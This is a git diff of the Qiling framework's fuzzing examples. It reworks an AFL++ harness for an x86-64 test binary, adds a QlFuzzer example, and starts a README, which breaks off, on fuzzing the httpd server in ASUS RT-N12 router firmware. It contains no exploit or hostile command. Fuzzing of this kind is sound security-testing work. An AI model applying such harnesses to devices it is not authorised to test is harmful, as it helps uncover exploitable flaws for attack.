AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./fuzz_x8664_linux.py @@
diff --git a/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py b/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py
index c7fb84db8..f24282104 100755
--- a/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py
+++ b/examples/fuzzing/linux_x8664/fuzz_x8664_linux.py
@@ -17,35 +17,44 @@
$ rm -fr afl_outputs/default/
"""
-# No more need for importing unicornafl, try afl.ql_afl_fuzz instead!
-
import os
import sys
-from typing import Optional
+from typing import Sequence
+
+QLHOME = os.path.realpath(r'../../..')
-sys.path.append("../../..")
+sys.path.append(QLHOME)
from qiling import Qiling
from qiling.const import QL_VERBOSE
from qiling.extensions import pipe
from qiling.extensions import afl
-def main(input_file: str):
- ql = Qiling(["./x8664_fuzz"], "../../rootfs/x8664_linux",
- verbose=QL_VERBOSE.OFF, # keep qiling logging off
- console=False) # thwart program output
+
+def main(argv: Sequence[str], rootfs: str, infilename: str):
+ # initialize a qiling instance.
+ # note we keep verbosity off and thwart the program's output to gain some speed-up
+ ql = Qiling(argv, rootfs, verbose=QL_VERBOSE.OFF, console=False)
+
+ # get the image base address
+ img = ql.loader.get_image_by_name('x8664_fuzz')
+ assert img is not None
+
+ # fuzzing scope: the main function
+ main_begins = img.base + 0x1275
+ main_ends = img.base + 0x1293
# redirect stdin to our mock to feed it with incoming fuzzed keystrokes
ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
- def place_input_callback(ql: Qiling, input: bytes, persistent_round: int) -> Optional[bool]:
+ def place_input_callback(ql: Qiling, feed: bytes, round: int) -> bool:
"""Feed generated stimuli to the fuzzed target.
This method is called with every fuzzing iteration.
"""
# feed fuzzed input to our mock stdin
- ql.os.stdin.write(input)
+ ql.os.stdin.write(feed)
# signal afl to proceed with this input
return True
@@ -54,23 +63,24 @@ def start_afl(ql: Qiling):
"""Have Unicorn fork and start instrumentation.
"""
- afl.ql_afl_fuzz(ql, input_file=input_file, place_input_callback=place_input_callback, exits=[ql.os.exit_point])
+ afl.ql_afl_fuzz(ql, infilename, place_input_callback, [main_ends])
+
+ # set afl instrumentation [re]starting point
+ ql.hook_address(start_afl, main_begins)
- # get image base address
- ba = ql.loader.images[0].base
+ def __crash(ql: Qiling) -> None:
+ os.abort()
# make the process crash whenever __stack_chk_fail@plt is about to be called.
# this way afl will count stack protection violations as crashes
- ql.hook_address(callback=lambda x: os.abort(), address=ba + 0x126e)
-
- # set afl instrumentation [re]starting point. we set it to 'main'
- ql.hook_address(callback=start_afl, address=ba + 0x1275)
+ ql.hook_address(__crash, img.base + 0x126e)
# okay, ready to roll
ql.run()
if __name__ == "__main__":
- if len(sys.argv) == 1:
- raise ValueError("No input file provided.")
-
- main(sys.argv[1])
+ main(
+ rf'{QLHOME}/examples/fuzzing/linux_x8664/x8664_fuzz'.split(),
+ rf'{QLHOME}/examples/rootfs/x8664_linux',
+ rf'{QLHOME}/examples/fuzzing/linux_x8664/afl_inputs/a'
+ )
diff --git a/examples/fuzzing/linux_x8664/qlfuzzer_x8664_linux.py b/examples/fuzzing/linux_x8664/qlfuzzer_x8664_linux.py
new file mode 100644
index 000000000..9b23f20bf
--- /dev/null
+++ b/examples/fuzzing/linux_x8664/qlfuzzer_x8664_linux.py
@@ -0,0 +1,87 @@
+#!/usr/bin/env python3
+
+"""Simple example of how to use QlFuzzer to easily create a custom fuzzer that
+leverages Qiling and AFLplusplus.
+
+Note: this example refers to linux_x8664/fuzz_x8664_linux.py
+
+Steps:
+ o Clone and build AFL++
+ $ git clone https://github.com/AFLplusplus/AFLplusplus.git
+ $ make -C AFLplusplus
+
+ o Build Unicorn support
+ $ ( cd AFLplusplus/unicorn_mode ; ./build_unicorn_support.sh )
+
+ o Start fuzzing
+ $ AFL_AUTORESUME=1 AFL_PATH="$(realpath ./AFLplusplus)" PATH="$AFL_PATH:$PATH" afl-fuzz -i afl_inputs -o afl_outputs -U -- python3 ./qlfuzzer_x8664_linux.py @@
+
+ o Cleanup results
+ $ rm -fr afl_outputs/default/
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+
+from typing import TYPE_CHECKING, Collection, Optional, Sequence
+
+# replace this if qiling is located elsewhere
+QLHOME = os.path.realpath(r'../../..')
+
+sys.path.append(QLHOME)
+from qiling.extensions import pipe
+from qiling.extensions.afl.qlfuzzer import QlFuzzer
+
+
+if TYPE_CHECKING:
+ from qiling import Qiling
+
+
+class MyFuzzer(QlFuzzer):
+ """Custom fuzzer.
+ """
+
+ def setup(self, infilename: str, entry: int, exits: Collection[int], crashes: Optional[Collection[int]] = None) -> None:
+ super().setup(infilename, entry, exits, crashes)
+
+ # redirect stdin to our mock to feed it with incoming fuzzed keystrokes
+ self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno())
+
+ def feed_input(self, ql: Qiling, stimuli: bytes, pround: int) -> bool:
+ # feed fuzzed input as-is to our mock stdin
+ ql.os.stdin.write(stimuli)
+
+ # signal afl to proceed with this input
+ return True
+
+
+def main(argv: Sequence[str], rootfs: str, infilename: str):
+ # initialize our custom fuzzer
+ fuzzer = MyFuzzer(argv, rootfs)
+
+ # calculate fuzzing scope effective addresses
+ main_begins = fuzzer.ea(0x1275)
+ main_ends = fuzzer.ea(0x1293)
+
+ # make the process crash whenever __stack_chk_fail@plt is about to be called.
+ # this way afl will count stack protection violations as fuzzing crashes
+ stack_chk_fail = fuzzer.ea(0x126e)
+
+ # set up fuzzing parameters
+ fuzzer.setup(infilename, main_begins, [main_ends], [stack_chk_fail])
+
+ # start fuzzing.
+ #
+ # note that although the main function is being fuzzed, we start emulating the program from its
+ # default starting point to make sure 'main' has all the necessary data initialized and ready.
+ fuzzer.run()
+
+
+if __name__ == '__main__':
+ main(
+ rf'{QLHOME}/examples/fuzzing/linux_x8664/x8664_fuzz'.split(),
+ rf'{QLHOME}/examples/rootfs/x8664_linux',
+ rf'{QLHOME}/examples/fuzzing/linux_x8664/afl_inputs/a'
+ )
diff --git a/examples/fuzzing/rt_n12_b1/README.md b/examples/fuzzing/rt_n12_b1/README.md
new file mode 100644
index 000000000..6fcf41fc4
--- /dev/null
+++ b/examples/fuzzing/rt_n12_b1/README.md
@@ -0,0 +1,37 @@
+### Directions for using this example fuzzer
+
+* Use `binwalk` to fully unpack the `.trx` firmware file hosted
+ [here](https://www.asus.com/supportonly/rt-n12%20(ver.b1)/helpdesk_bios/).
+Select `Driver & Utility` -> `BIOS & Firmware` and choose the latest version.
+
+* Unpack the `.trx` file with `binwalk -eM` (install `sasquatch` before doing
+so). Rename the resulting squashfs dir to `squashfs-root`.
+
+* Ensure the `nvram` file provided is located in the same directory as the
+fuzzer script.
+
+* The path `/var/run/` must exist in the firmware's rootfs directory
+and be writable.
+
+* In the `squashfs-root`, copy the `httpd` binary from `usr/sbin/httpd` into
+`www/`.
+
+* Create a snapshot by running with the `--snapshot` arg. Visit
+`http://127.0.0.1:9000/www/FUZZME`. This is will create a snapshot file `httpd.bin`
+to be used a starting point for fuzzing. The program will terminate after a
+successful connection from a web browser.
+
+* To fuzz, run ```afl-fuzz -i -o